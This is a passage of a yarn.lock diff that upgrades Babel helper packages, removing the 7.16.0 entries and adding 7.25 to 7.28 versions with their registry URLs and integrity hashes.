+    "@babel/types" "^7.26.10"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/generator@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.9.tgz#75a9482ad3d0cc7188a537aa4910bc59db67cbca"
+  integrity sha512-kEWdzjOAUMW4hAyrzJ0ZaTOu9OmpyDIQicIh0zg0EEcEkYXZb2TjtBhnHi2ViX7PKwZqF4xwqfAm299/QMP3lg==
+  dependencies:
+    "@babel/parser" "^7.26.9"
+    "@babel/types" "^7.26.9"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/generator@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.28.3.tgz#9626c1741c650cbac39121694a0f2d7451b8ef3e"
+  integrity sha512-3lSpxGgvnmZznmBkCRnVREPUFJv2wrv9iAoFDvADJc0ypmdOxdUtcLeBgBJ6zE0PMeTKnxeQzyk0xTBq4Ep7zw==
+  dependencies:
+    "@babel/parser" "^7.28.3"
+    "@babel/types" "^7.28.2"
+    "@jridgewell/gen-mapping" "^0.3.12"
+    "@jridgewell/trace-mapping" "^0.3.28"
+    jsesc "^3.0.2"
+
 "@babel/generator@^7.8.3":
   version "7.8.3"
   resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.8.3.tgz#0e22c005b0a94c1c74eafe19ef78ce53a4d45c03"
@@ -234,13 +225,6 @@
   dependencies:
     "@babel/types" "^7.10.4"
 
-"@babel/helper-annotate-as-pure@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.16.0.tgz#9a1f0ebcda53d9a2d00108c4ceace6a5d5f1f08d"
-  integrity sha512-ItmYF9vR4zA8cByDocY05o0LGUkp1zhbTQOH1NFyl5xXEqlTJQCEJjieriw+aFpxo16swMxUnUiKS7a/r4vtHg==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-annotate-as-pure@^7.18.6":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.18.6.tgz#eaa49f6f80d5a33f9a5dd2276e6d6e451be0a6bb"
@@ -255,6 +239,20 @@
   dependencies:
     "@babel/types" "^7.22.5"
 
+"@babel/helper-annotate-as-pure@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz#d8eac4d2dc0d7b6e11fa6e535332e0d3184f06b4"
+  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-annotate-as-pure@^7.27.3":
+  version "7.27.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.27.3.tgz#f31fd86b915fc4daf1f3ac6976c59be7084ed9c5"
+  integrity sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==
+  dependencies:
+    "@babel/types" "^7.27.3"
+
 "@babel/helper-builder-binary-assignment-operator-visitor@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.4.tgz#bb0b75f31bf98cbf9ff143c1ae578b87274ae1a3"
@@ -291,16 +289,6 @@
     levenary "^1.1.1"
     semver "^5.5.0"
 
-"@babel/helper-compilation-targets@^7.16.0":
-  version "7.16.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.16.3.tgz#5b480cd13f68363df6ec4dc8ac8e2da11363cbf0"
-  integrity sha512-vKsoSQAyBmxS35JUOOt+07cLc6Nk/2ljLIHwmq2/NM6hdioUaqEXq/S+nXvbvXbZkNDlWOymPanJGOc4CBjSJA==
-  dependencies:
-    "@babel/compat-data" "^7.16.0"
-    "@babel/helper-validator-option" "^7.14.5"
-    browserslist "^4.17.5"
-    semver "^6.3.0"
-
 "@babel/helper-compilation-targets@^7.18.9":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.20.7.tgz#a6cd33e93629f5eb473b021aac05df62c4cd09bb"
@@ -323,6 +311,17 @@
     lru-cache "^5.1.1"
     semver "^6.3.1"
 
+"@babel/helper-compilation-targets@^7.22.6", "@babel/helper-compilation-targets@^7.25.9", "@babel/helper-compilation-targets@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.26.5.tgz#75d92bb8d8d51301c0d49e52a65c9a7fe94514d8"
+  integrity sha512-IXuyn5EkouFJscIDuFF5EsiSolseme1s0CZB+QxVugqJLYmKdxI1VfIBOst0SUu4rnk2Z7kqTwmoO1lp3HIfnA==
+  dependencies:
+    "@babel/compat-data" "^7.26.5"
+    "@babel/helper-validator-option" "^7.25.9"
+    browserslist "^4.24.0"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
 "@babel/helper-create-class-features-plugin@^7.10.4":
   version "7.10.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.10.5.tgz#9f61446ba80e8240b0a5c85c6fdac8459d6f259d"
@@ -335,18 +334,6 @@
     "@babel/helper-replace-supers" "^7.10.4"
     "@babel/helper-split-export-declaration" "^7.10.4"
 
-"@babel/helper-create-class-features-plugin@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.16.0.tgz#090d4d166b342a03a9fec37ef4fd5aeb9c7c6a4b"
-  integrity sha512-XLwWvqEaq19zFlF5PTgOod4bUA+XbkR4WLQBct1bkzmxJGB0ZEJaoKF4c8cgH9oBtCDuYJ8BP5NB9uFiEgO5QA==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.16.0"
-    "@babel/helper-function-name" "^7.16.0"
-    "@babel/helper-member-expression-to-functions" "^7.16.0"
-    "@babel/helper-optimise-call-expression" "^7.16.0"
-    "@babel/helper-replace-supers" "^7.16.0"
-    "@babel/helper-split-export-declaration" "^7.16.0"
-
 "@babel/helper-create-class-features-plugin@^7.18.6":
   version "7.20.12"
   resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.20.12.tgz#4349b928e79be05ed2d1643b20b99bb87c503819"
@@ -361,6 +348,32 @@
     "@babel/helper-skip-transparent-expression-wrappers" "^7.20.0"
     "@babel/helper-split-export-declaration" "^7.18.6"
 
+"@babel/helper-create-class-features-plugin@^7.25.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.26.9.tgz#d6f83e3039547fbb39967e78043cd3c8b7820c71"
+  integrity sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/traverse" "^7.26.9"
+    semver "^6.3.1"
+
+"@babel/helper-create-class-features-plugin@^7.27.1":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.28.3.tgz#3e747434ea007910c320c4d39a6b46f20f371d46"
+  integrity sha512-V9f6ZFIYSLNEbuGA/92uOvYsGCJNsuA8ESZ4ldc09bWk/j8H8TKiPw8Mk1eG6olpnO0ALHJmYfZvF4MEE4gajg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.27.3"
+    "@babel/helper-member-expression-to-functions" "^7.27.1"
+    "@babel/helper-optimise-call-expression" "^7.27.1"
+    "@babel/helper-replace-supers" "^7.27.1"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.27.1"
+    "@babel/traverse" "^7.28.3"
+    semver "^6.3.1"
+
 "@babel/helper-create-regexp-features-plugin@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.4.tgz#fdd60d88524659a0b6959c0579925e425714f3b8"
@@ -370,14 +383,33 @@
     "@babel/helper-regex" "^7.10.4"
     regexpu-core "^4.7.0"
 
-"@babel/helper-define-map@^7.10.4":
-  version "7.10.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-define-map/-/helper-define-map-7.10.5.tgz#b53c10db78a640800152692b13393147acb9bb30"
-  integrity sha512-fMw4kgFB720aQFXSVaXr79pjjcW5puTCM16+rECJ/plGS+zByelE8l9nCpV1GibxTnFVmUuYG9U8wYfQHdzOEQ==
+"@babel/helper-create-regexp-features-plugin@^7.18.6", "@babel/helper-create-regexp-features-plugin@^7.25.9":
+  version "7.26.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.26.3.tgz#5169756ecbe1d95f7866b90bb555b022595302a0"
+  integrity sha512-G7ZRb40uUgdKOQqPLjfD12ZmGA54PzqDFUv2BKImnC9QIfGhIHKvVML0oN8IUiDq4iRqpq74ABpvOaerfWdong==
   dependencies:
-    "@babel/helper-function-name" "^7.10.4"
-    "@babel/types" "^7.10.5"
-    lodash "^4.17.19"
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    regexpu-core "^6.2.0"
+    semver "^6.3.1"
+
+"@babel/helper-define-map@^7.18.6":
+  version "7.18.6"
+  resolved "https://registry.yarnpkg.com/@babel/helper-define-map/-/helper-define-map-7.18.6.tgz#8dca645a768d0a5007b0bb90078c1d623e99e614"
+  integrity sha512-XSOjXUDG7KODvtURN1p29hGHa4RFgqBQELuBowUOBt3alf2Ny/oNFJygS4yCXwM0vMoqLDjE1O7wSmocUmQ3Kg==
+  dependencies:
+    "@babel/helper-function-name" "^7.18.6"
+    "@babel/types" "^7.18.6"
+
+"@babel/helper-define-polyfill-provider@^0.6.3":
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.6.3.tgz#f4f2792fae2ef382074bc2d713522cf24e6ddb21"
+  integrity sha512-HK7Bi+Hj6H+VTHA3ZvBis7V/6hu9QuTrnMXNybfUf2iiuU/N97I8VjB+KbhFF8Rld/Lx5MzoCwPCpPjfK+n8Cg==
+  dependencies:
+    "@babel/helper-compilation-targets" "^7.22.6"
+    "@babel/helper-plugin-utils" "^7.22.5"
+    debug "^4.1.1"
+    lodash.debounce "^4.0.8"
+    resolve "^1.14.2"
 
 "@babel/helper-environment-visitor@^7.18.9", "@babel/helper-environment-visitor@^7.22.20":
   version "7.22.20"
@@ -401,14 +433,13 @@
     "@babel/template" "^7.10.4"
     "@babel/types" "^7.10.4"
 
-"@babel/helper-function-name@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.16.0.tgz#b7dd0797d00bbfee4f07e9c4ea5b0e30c8bb1481"
-  integrity sha512-BZh4mEk1xi2h4HFjWUXRQX5AEx4rvaZxHgax9gcjdLWdkjsY7MKt5p0otjsg5noXw+pB+clMCjw+aEVYADMjog==
+"@babel/helper-function-name@^7.18.6":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.24.7.tgz#75f1e1725742f39ac6584ee0b16d94513da38dd2"
+  integrity sha512-FyoJTsj/PEUWu1/TYRiXTIHc8lbw+TDYkZuoE43opPS5TrI7MyONBE1oNvfguEXAD9yhQRrVBnXdXzSLQl9XnA==
   dependencies:
-    "@babel/helper-get-function-arity" "^7.16.0"
-    "@babel/template" "^7.16.0"
-    "@babel/types" "^7.16.0"
+    "@babel/template" "^7.24.7"
+    "@babel/types" "^7.24.7"
 
 "@babel/helper-function-name@^7.18.9":
   version "7.19.0"
@@ -418,7 +449,7 @@
     "@babel/template" "^7.18.10"
     "@babel/types" "^7.19.0"
 
-"@babel/helper-function-name@^7.19.0", "@babel/helper-function-name@^7.23.0":
+"@babel/helper-function-name@^7.19.0":
   version "7.23.0"
   resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz#1f9a3cdbd5b2698a670c30d2735f9af95ed52759"
   integrity sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==
@@ -442,13 +473,6 @@
   dependencies:
     "@babel/types" "^7.10.4"
 
-"@babel/helper-get-function-arity@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.16.0.tgz#0088c7486b29a9cb5d948b1a1de46db66e089cfa"
-  integrity sha512-ASCquNcywC1NkYh/z7Cgp3w31YW8aojjYIlNg4VeJiHkqyP4AzIvr4qx7pYDb4/s8YcsZWqqOSxgkvjUz1kpDQ==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-get-function-arity@^7.8.3":
   version "7.8.3"
   resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.8.3.tgz#b894b947bd004381ce63ea1db9f08547e920abd5"
@@ -456,6 +480,11 @@
   dependencies:
     "@babel/types" "^7.8.3"
 
+"@babel/helper-globals@^7.28.0":
+  version "7.28.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-globals/-/helper-globals-7.28.0.tgz#b9430df2aa4e17bc28665eadeae8aa1d985e6674"
+  integrity sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==
+
 "@babel/helper-hoist-variables@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.10.4.tgz#d49b001d1d5a68ca5e6604dda01a6297f7c9381e"
@@ -463,20 +492,6 @@
   dependencies:
     "@babel/types" "^7.10.4"
 
-"@babel/helper-hoist-variables@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.16.0.tgz#4c9023c2f1def7e28ff46fc1dbcd36a39beaa81a"
-  integrity sha512-1AZlpazjUR0EQZQv3sgRNfM9mEVWPK3M6vlalczA+EECcPz3XPh6VplbErL5UoMpChhSck5wAJHthlj1bYpcmg==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
-"@babel/helper-hoist-variables@^7.18.6", "@babel/helper-hoist-variables@^7.22.5":
-  version "7.22.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz#c01a007dac05c085914e8fb652b339db50d823bb"
-  integrity sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==
-  dependencies:
-    "@babel/types" "^7.22.5"
-
 "@babel/helper-member-expression-to-functions@^7.10.4", "@babel/helper-member-expression-to-functions@^7.10.5":
   version "7.11.0"
   resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.11.0.tgz#ae69c83d84ee82f4b42f96e2a09410935a8f26df"
@@ -484,13 +499,6 @@
   dependencies:
     "@babel/types" "^7.11.0"
 
-"@babel/helper-member-expression-to-functions@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.16.0.tgz#29287040efd197c77636ef75188e81da8bccd5a4"
-  integrity sha512-bsjlBFPuWT6IWhl28EdrQ+gTvSvj5tqVP5Xeftp07SEuz5pLnsXZuDkDD3Rfcxy0IsHmbZ+7B2/9SHzxO0T+sQ==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-member-expression-to-functions@^7.20.7":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.20.7.tgz#a6f26e919582275a93c3aa6594756d71b0bb7f05"
@@ -498,6 +506,22 @@
   dependencies:
     "@babel/types" "^7.20.7"
 
+"@babel/helper-member-expression-to-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz#9dfffe46f727005a5ea29051ac835fb735e4c1a3"
+  integrity sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-member-expression-to-functions@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.27.1.tgz#ea1211276be93e798ce19037da6f06fbb994fa44"
+  integrity sha512-E5chM8eWjTp/aNoVpcbfM7mLxu9XGLWYise2eBKGQomAk/Mb4XoxyqXTZbuTohbsl8EKqdlMhnDI2CCLfcs9wA==
+  dependencies:
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
+
 "@babel/helper-module-imports@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.10.4.tgz#4c5c54be04bd31670a7382797d75b9fa2e5b5620"
@@ -505,13 +529,6 @@
   dependencies:
     "@babel/types" "^7.10.4"
 
-"@babel/helper-module-imports@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.16.0.tgz#90538e60b672ecf1b448f5f4f5433d37e79a3ec3"
-  integrity sha512-kkH7sWzKPq0xt3H1n+ghb4xEMP8k0U7XV3kkB+ZGy69kDk2ySFW1qPi06sjKzFY3t1j6XbJSqr4mF9L7CYVyhg==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-module-imports@^7.18.6", "@babel/helper-module-imports@^7.24.3":
   version "7.24.3"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.24.3.tgz#6ac476e6d168c7c23ff3ba3cf4f7841d46ac8128"
@@ -526,7 +543,15 @@
   dependencies:
     "@babel/types" "^7.22.15"
 
-"@babel/helper-module-transforms@^7.10.4", "@babel/helper-module-transforms@^7.10.5", "@babel/helper-module-transforms@^7.11.0":
+"@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-transforms@^7.10.4", "@babel/helper-module-transforms@^7.10.5":
   version "7.11.0"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.11.0.tgz#b16f250229e47211abdd84b34b64737c2ab2d359"
   integrity sha512-02EVu8COMuTRO1TAzdMtpBPbe6aQ1w/8fePD2YgQmxZU4gpNWaL9gK3Jp7dxlkUlUCJOTaSeA+Hrm1BRQwqIhg==
@@ -539,20 +564,6 @@
     "@babel/types" "^7.11.0"
     lodash "^4.17.19"
 
-"@babel/helper-module-transforms@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.16.0.tgz#1c82a8dd4cb34577502ebd2909699b194c3e9bb5"
-  integrity sha512-My4cr9ATcaBbmaEa8M0dZNA74cfI6gitvUAskgDtAFmAqyFKDSHQo5YstxPbN+lzHl2D9l/YOEFqb2mtUh4gfA==
-  dependencies:
-    "@babel/helper-module-imports" "^7.16.0"
-    "@babel/helper-replace-supers" "^7.16.0"
-    "@babel/helper-simple-access" "^7.16.0"
-    "@babel/helper-split-export-declaration" "^7.16.0"
-    "@babel/helper-validator-identifier" "^7.15.7"
-    "@babel/template" "^7.16.0"
-    "@babel/traverse" "^7.16.0"
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-module-transforms@^7.20.11", "@babel/helper-module-transforms@^7.24.5":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.24.5.tgz#ea6c5e33f7b262a0ae762fd5986355c45f54a545"
@@ -564,6 +575,15 @@
     "@babel/helper-split-export-declaration" "^7.24.5"
     "@babel/helper-validator-identifier" "^7.24.5"
 
+"@babel/helper-module-transforms@^7.25.9", "@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
 "@babel/helper-optimise-call-expression@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.10.4.tgz#50dc96413d594f995a77905905b05893cd779673"
@@ -571,13 +591,6 @@
   dependencies:
     "@babel/types" "^7.10.4"
 
-"@babel/helper-optimise-call-expression@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.16.0.tgz#cecdb145d70c54096b1564f8e9f10cd7d193b338"
-  integrity sha512-SuI467Gi2V8fkofm2JPnZzB/SUuXoJA5zXe/xzyPP2M04686RzFKFHPK6HDVN6JvWBIEW8tt9hPR7fXdn2Lgpw==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-optimise-call-expression@^7.18.6":
   version "7.18.6"
   resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz#9369aa943ee7da47edab2cb4e838acf09d290ffe"
@@ -585,6 +598,20 @@
   dependencies:
     "@babel/types" "^7.18.6"
 
+"@babel/helper-optimise-call-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz#3324ae50bae7e2ab3c33f60c9a877b6a0146b54e"
+  integrity sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-optimise-call-expression@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.27.1.tgz#c65221b61a643f3e62705e5dd2b5f115e35f9200"
+  integrity sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==
+  dependencies:
+    "@babel/types" "^7.27.1"
+
 "@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.18.6", "@babel/helper-plugin-utils@^7.19.0", "@babel/helper-plugin-utils@^7.24.0", "@babel/helper-plugin-utils@^7.8.0":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.24.5.tgz#a924607dd254a65695e5bd209b98b902b3b2f11a"
@@ -600,6 +627,16 @@
   resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz#dd7ee3735e8a313b9f7b05a773d892e88e6d7295"
   integrity sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==
 
+"@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
+  integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
+
+"@babel/helper-plugin-utils@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz#ddb2f876534ff8013e6c2b299bf4d39b3c51d44c"
+  integrity sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==
+
 "@babel/helper-plugin-utils@^7.8.3":
   version "7.8.3"
   resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.8.3.tgz#9ea293be19babc0f52ff8ca88b34c3611b208670"
@@ -623,6 +660,15 @@
     "@babel/traverse" "^7.10.4"
     "@babel/types" "^7.10.4"
 
+"@babel/helper-remap-async-to-generator@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.25.9.tgz#e53956ab3d5b9fb88be04b3e2f31b523afd34b92"
+  integrity sha512-IZtukuUeBbhgOcaW2s06OXTzVNJR0ybm4W5xC1opWFFJMZbwRj5LCk+ByYH7WdZPZTt8KnFwA8pvjN2yqcPlgw==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-wrap-function" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
 "@babel/helper-replace-supers@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.10.4.tgz#d585cd9388ea06e6031e4cd44b6713cbead9e6cf"
@@ -633,16 +679,6 @@
     "@babel/traverse" "^7.10.4"
     "@babel/types" "^7.10.4"
 
-"@babel/helper-replace-supers@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.16.0.tgz#73055e8d3cf9bcba8ddb55cad93fedc860f68f17"
-  integrity sha512-TQxuQfSCdoha7cpRNJvfaYxxxzmbxXw/+6cS7V02eeDYyhxderSoMVALvwupA54/pZcOTtVeJ0xccp1nGWladA==
-  dependencies:
-    "@babel/helper-member-expression-to-functions" "^7.16.0"
-    "@babel/helper-optimise-call-expression" "^7.16.0"
-    "@babel/traverse" "^7.16.0"
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-replace-supers@^7.18.6", "@babel/helper-replace-supers@^7.20.7":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.20.7.tgz#243ecd2724d2071532b2c8ad2f0f9f083bcae331"
@@ -655,6 +691,24 @@
     "@babel/traverse" "^7.20.7"
     "@babel/types" "^7.20.7"
 
+"@babel/helper-replace-supers@^7.25.9", "@babel/helper-replace-supers@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz#6cb04e82ae291dae8e72335dfe438b0725f14c8d"
+  integrity sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==
+  dependencies:
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/traverse" "^7.26.5"
+
+"@babel/helper-replace-supers@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.27.1.tgz#b1ed2d634ce3bdb730e4b52de30f8cccfd692bc0"
+  integrity sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA==
+  dependencies:
+    "@babel/helper-member-expression-to-functions" "^7.27.1"
+    "@babel/helper-optimise-call-expression" "^7.27.1"
+    "@babel/traverse" "^7.27.1"
+
 "@babel/helper-simple-access@^7.10.4":
   version "7.10.4"
